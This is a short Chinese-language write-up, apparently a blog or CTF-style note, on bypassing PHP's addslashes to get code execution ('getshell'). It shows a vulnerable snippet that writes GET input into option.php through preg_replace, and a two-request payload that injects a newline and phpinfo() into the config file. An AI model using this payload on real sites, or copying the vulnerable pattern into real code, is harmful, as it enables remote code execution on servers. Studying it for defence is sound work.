php_addslashes绕过与写入文件配置getshell

写入配置getshell与addslashes绕过：

<?php
$str = addslashes($_GET['option']);
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('xxxxx/option.php', $file);
?>

对option变量进行了addslashes函数的限制，但是后面使用了file_get_contents函数打开文件，中间使用preg_replace将里面原$option=\'xxx\'的内容替换成$option=\‘xxx\’，最后用file_put_contents函数进行写入。

addslashes函数

版本：php4+

这个函数是对目前字符串中的单引号，双引号，反斜杠，null这四种情况进行转义，转义方式是在原符号之前加上反斜杠

利用

访问?option=asd’;%0aphpinfo();//
$str = asd\’;%0aphpinfo();//
经过替换写入后文件为

<?php
$option='asd\';
phpinfo();//;
?>

在访问一次?option=asd
$str = asd
经过再次替换后文件为

<?php
$option='asd';
phpinfo();//;
?>

最后访问asd/option.php就可以执行了。